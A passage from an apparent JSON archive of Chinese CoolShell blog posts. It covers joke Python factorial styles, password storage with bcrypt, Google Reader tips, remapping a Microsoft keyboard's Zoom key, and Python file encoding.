#Thanks Adam\n    while i &lt;= x:\n        #result = result * i  #It's faster to use *=\n        #result = str(result * result + i)\n           #result = int(result *= i) #??????\n        result str(int(result) * i)\n        #result = int(str(result) * i)\n        i = i + 1\n    return result\nprint factorial(6)</pre>\n<h4>\nUnix 程序员</h4>\n<pre class=\"EnlighterJSRAW\">import os\ndef fact(x):\n    os.system('factorial ' + str(x))\nfact(6)</pre>\n<h4>\nWindows 程序员</h4>\n<pre class=\"EnlighterJSRAW\">NULL = None\ndef CalculateAndPrintFactorialEx(dwNumber,\n                                 hOutputDevice,\n                                 lpLparam,\n                                 lpWparam,\n                                 lpsscSecurity,\n                                 *dwReserved):\n    if lpsscSecurity != NULL:\n        return NULL #Not implemented\n    dwResult = dwCounter = 1\n    while dwCounter &lt;= dwNumber:\n        dwResult *= dwCounter\n        dwCounter += 1\n    hOutputDevice.write(str(dwResult))\n    hOutputDevice.write('\\n')\n    return 1\nimport sys\nCalculateAndPrintFactorialEx(6, sys.stdout, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)</pre>\n<h4>\n公司里的程序员</h4>\n<pre class=\"EnlighterJSRAW\">def new(cls, *args, **kwargs):\n    return cls(*args, **kwargs)\n\nclass Number(object):\n    pass\n\nclass IntegralNumber(int, Number):\n    def toInt(self):\n        return new (int, self)\n\nclass InternalBase(object):\n    def __init__(self, base):\n        self.base = base.toInt()\n\n    def getBase(self):\n        return new (IntegralNumber, self.base)\n\nclass MathematicsSystem(object):\n    def __init__(self, ibase):\n        Abstract\n\n    @classmethod\n    def getInstance(cls, ibase):\n        try:\n            cls.__instance\n        except AttributeError:\n            cls.__instance = new (cls, ibase)\n        return cls.__instance\n\nclass StandardMathematicsSystem(MathematicsSystem):\n    def __init__(self, ibase):\n        if ibase.getBase() != new (IntegralNumber, 2):\n            raise NotImplementedError\n        self.base = ibase.getBase()\n\n    def calculateFactorial(self, target):\n        result = new (IntegralNumber, 1)\n        i = new (IntegralNumber, 2)\n        while i &lt;= target:\n            result = result * i\n            i = i + new (IntegralNumber, 1)\n        return result\n\nprint StandardMathematicsSystem.getInstance(new (InternalBase, new (IntegralNumber, 2))).calculateFactorial(new (IntegralNumber, 6))</pre>\n<p>摘自：<a href=\"http://gist.github.com/289467\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2082.html\">Python程序员的进化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-2-1 如何防范密码被破解.html",
    "content": "<html><body><p>你会用什么样的算法来为你的用户保存密码？如果你还在用明码的话，那么一旦你的网站被hack了，那么你所有的用户口令都会被泄露了，这意味着，你的系统或是网站就此完蛋了。所以，我们需要通过一些不可逆的算法来保存用户的密码。比如：MD5, SHA1, SHA256, SHA512, SHA-3,等Hash算法。这些算法都是不可逆的。系统在验证用户的口令时，需要把Hash加密过后的口令与后面存放口令的数据库中的口令做比较，如果一致才算验证通过。</p>\n<p>但你觉得这些算法好吗？我说的是：MD5, SHA1, SHA256, SHA512, SHA-3。如果你使用的是MD5算法来加密你的口令，如果你的口令长度只有小写字母再加上数字，假设口令的长度是6位，那么在目前一台比较新一点的PC机上，穷举所有的口令只需要40秒钟。而据我们了解，几乎有90%以上的用户只用小写字母和数字来组织其口令。对于6位长度的密码只需要最多40秒就可以破解了，这可能会吓到你。</p>\n<p>如果你愿意花2000美金和一周的时间来构建一个<a href=\"http://www.nvidia.com/object/cuda_home.html\" target=\"_blank\">CUDA</a>，那么，你可以在你组建的这个集群中使用进行密码穷举运算，其速度是，<a href=\"http://www.win.tue.nl/cccc/sha-1-challenge.html\" target=\"_blank\">1秒钟可以计算7亿个口令</a>。对于目前实际当中使用的比较复杂的口令，其破解率也可以高达每秒一个。当然，这里说的算法是MD5，SHA之类的算法。</p>\n<p>那么，对于这样的一种情况来说，我们怎么办？我们还是有办法的。</p>\n<p><span id=\"more-2078\"></span></p>\n<p>我们知道MD5，SHA的算法速度太快了。所以，我们需要一个“慢一点”的加密算法。呵呵。bcrypt是这样的一个算法，因为它很慢，对于计算机来说，其慢得有点BT了，但却慢得刚刚好！对于验证用户口令来说是不慢的，对于穷举用户口令来说，其会让那些计算机变得如同蜗牛一样。</p>\n<p>因为bcrypt采用了一系列各种不同的Blowfish加密算法，并引入了一个work factor，这个工作因子可以让你决定这个算法的代价有多大。因为这些，这个算法不会因为计算机CPU处理速度变快了，而导致算法的时间会缩短了。因为，你可以增加work factor来把其性能降下来。呵呵。</p>\n<p>那么，bcrypt到底有多慢？如果和MD5一起来比较的话，如果使用值为12的work factor的话，如果加密“cool”的话，bcrypt需要0.3秒，而MD5只需要一微秒（百万分之一秒）。也就是说，前面我们说的那个只需要40秒就可以穷举完所有的可能的MD5编码的口令的算法，在使用bcrypt下，需要12年。</p>\n<p>这就是bcrypt给你带来的选择，<strong>你可以一个安全的口令和一个快速的加密算法，或是一个不怎么安全的口令和一个性能不好的加密算法</strong>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3801.html\"><img alt=\"破解你的口令\" height=\"150\" src=\"../wp-content/uploads/2011/02/passwords-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6193.html\"><img alt=\"CSDN明文口令泄露的启示\" height=\"150\" src=\"../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2451.html\"><img alt=\"Twitter的禁用口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2428.html\"><img alt=\"如何管理并设计你的口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-2-6 iPad进化图.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/ipad.jpg\"><img alt=\"\" class=\"alignnone size-full wp-image-2087\" height=\"1456\" src=\"../wp-content/uploads/2010/02/ipad.jpg\" title=\"iPad 进化图\" width=\"350\"/></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5089.html\"><img alt=\"10个必需的iOS开发工具和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5089.html\">10个必需的iOS开发工具和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2913.html\"><img alt=\"消费者的消费观\" height=\"150\" src=\"../wp-content/uploads/2010/09/1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2913.html\">消费者的消费观</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2719.html\"><img alt=\"苹果开发工具Xcode 4 第二预览版\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2719.html\">苹果开发工具Xcode 4 第二预览版</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2917.html\"><img alt=\"Did You Know?\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2917.html\">Did You Know?</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/444.html\"><img alt=\"Python脚本如何对文件通配符匹配\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/444.html\">Python脚本如何对文件通配符匹配</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2086.html\">iPad进化图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-2-7 分享：我是如何使用Google Reader的.html",
    "content": "<html><body><p>相信不少读者都是通过Google Reader (貌似没有中文名) 看到本文的，而多数Google Reader的爱好者都是贪婪的。如果你像我一样，估计未读数量从来都是1000+。遇到强迫症就麻烦了。下面一个方法能让阅读变得有“轻重缓急”。</p>\n<ol>\n<li>承认不是所有种子一样重要，有些更新你想立刻知道（例如某新闻类的博客：<a href=\"http://www.google.org.cn/\">古奥</a>），有些只是希望不要错过（例如某经典博客：<a href=\"http://www.joelonsoftware.com/\">Joe l on Software</a>），还有一些可能只是娱乐用的（例如：<a href=\"http://jandan.net/\">煎蛋</a>）</li>\n<li>Reader是可以为种子建文件夹的，所有“重要而必读”的种子都可以放在一个文件夹里，文件夹的名称最好是用“_” 开头，这样排序的时候可以在最前面（见图解）</li>\n<li>每当打开Google Reader的时候，先看重要的种子即可，其他的有时间再读。</li>\n</ol>\n<p>笔者的Reader界面（献丑了）</p>\n<p style=\"padding-left: 30px;\">\n</p><p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/reader2.png\"><img alt=\"\" class=\"alignnone size-full wp-image-2094\" height=\"804\" src=\"../wp-content/uploads/2010/02/reader2.png\" title=\"reader2\" width=\"1041\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2091.html\">分享：我是如何使用Google Reader的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-2-7 如何修改微软人体工学键盘的Zoom键.html",
    "content": "<html><body><p>如果你不是订阅本站的用户，你很肯能可能是通过搜索引擎的魔力来到本文的。</p>\n<p>微软的软件产品咱们暂且不谈，他们生产的键盘鼠标确实很不错。例如，经典的 microsoft natural ergonomic keyboard 4000 （见图）。著名Google工程师博主Matt Cutts用的就是这个（<a href=\"http://www.mattcutts.com/blog/30-days-no-microsoft-software/\">参考链接</a>）。</p>\n<p>可是每个入手该键盘的geek都会觉得，这个弱智的设计师把zoom键放在中间干嘛，应该用来当上下滚轮嘛。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/keyboard.jpg\"><img alt=\"\" class=\"alignnone size-full wp-image-2098\" height=\"262\" src=\"../wp-content/uploads/2010/02/keyboard.jpg\" title=\"keyboard\" width=\"464\"/></a></p>\n<p>无独有偶，该问题已经被先辈们解决，笔者只搜到了<a href=\"http://paininthetech.com/2006/04/29/hack-the-microsoft-natural-4000-keyboard\">英文文章</a></p>\n<p>为了让中文读者方便找到并使用，暂且将关键步骤翻译如下：</p>\n<ol>\n<li>下载微软键盘驱动 <a href=\"http://www.microsoft.com/hardware/download/download.aspx?category=MK\">http://www.microsoft.com/hardware/download/download.aspx?category=MK</a></li>\n<li>找到command.xml文件，应该是在 C:\\Program Files\\Microsoft IntelliType Pro\\</li>\n<li>编辑command.xml文件（建议之前备份），替换<strong>所有</strong> <span style=\"color: #0000ff;\">&lt;C319 Type=”6″ Activator=”ZoomIn” /&gt;</span> 为<span style=\"color: #0000ff;\">&lt;C319 Type=”6″ Activator=”<span style=\"color: #ff0000;\">ScrollUp</span>” /&gt;</span><strong>,  所有</strong><span style=\"color: #0000ff;\"> &lt;C320 Type=”6″ Activator=”ZoomOut” /&gt; </span>替换为<strong> <span style=\"color: #0000ff;\"><span style=\"font-weight: normal;\">&lt;C320 Type=”6″ Activator=”<span style=\"color: #ff0000;\">ScrollDown</span>” /&gt;</span></span> </strong>用Notepad或者记事本可以实现，应该是10个左右。</li>\n<li>重启电脑（貌似这一步不能省）</li>\n</ol>\n<p>图例：修改前</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/before.png\"><img alt=\"\" height=\"94\" src=\"../wp-content/uploads/2010/02/before.png\" title=\"before\" width=\"508\"/></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/before.png\"></a>图例：修改后</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/after.png\"><img alt=\"\" class=\"alignnone size-full wp-image-2101\" height=\"79\" src=\"../wp-content/uploads/2010/02/after.png\" title=\"after\" width=\"556\"/></a></p>\n<p>这样你就可以用Zoom来替代鼠标滚轮了。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/378.html\"><img alt=\"笔记本电脑的发展史\" height=\"150\" src=\"../wp-content/uploads/2009/04/osborne1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/378.html\">笔记本电脑的发展史</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1826.html\"><img alt=\"几个有趣的404错误页面\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1826.html\">几个有趣的404错误页面</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7270.html\"><img alt=\"NoSQL 数据建模技术\" height=\"150\" src=\"../wp-content/uploads/2012/05/overview2-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6994.html\"><img alt=\"我们需要专职的QA吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6994.html\">我们需要专职的QA吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3572.html\"><img alt=\"C语言函数实现的另类方法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3572.html\">C语言函数实现的另类方法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9156.html\"><img alt=\"《Rework》摘录及感想\" height=\"150\" src=\"../wp-content/uploads/2013/03/rework-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9156.html\">《Rework》摘录及感想</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2097.html\">如何修改微软人体工学键盘的Zoom键</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-2-8 Python处理encoding的小技巧.html",
    "content": "<html><body><p>用Python写过处理文本经常会遇到需要decoding或者encoding, 尤其是处理中文的时候。</p>\n<p>encoding的问题处理起来是个脏活儿，报错不太容易看懂，网上相关资料不太好查。有同感？请继续读下去。</p>\n<p>常规做法是读取文件的时候立刻decode, 所有的处理工作都用unicode，写会文件的时候encode. 但是等到读取的时候在处理的代码读/写起来都很别扭，感觉像穿上鞋以后袜子滑下来了…<span style=\"color: #ff0000;\">Python 3.1.1</span><span style=\"color: #ff0000;\">以上</span>的版本解决了该问题。在Python 3.1.1中，打开文件可以加入encoding的参数：</p>\n<pre>file = open(filename, <span style=\"color: #0000ff;\">encoding='xxx'</span>)</pre>\n<p>啊，这样看起来终于舒坦了。 不同写如下的code了</p>\n<pre>file = open(filename)\nfor line in file:\n    <span style=\"color: #0000ff;\">decoded_line = line.decode('xxx')</span>\n    do something else\n提倡使用<span style=\"color: #0000ff;\">utf8</span></pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2109.html\">Python处理encoding的小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
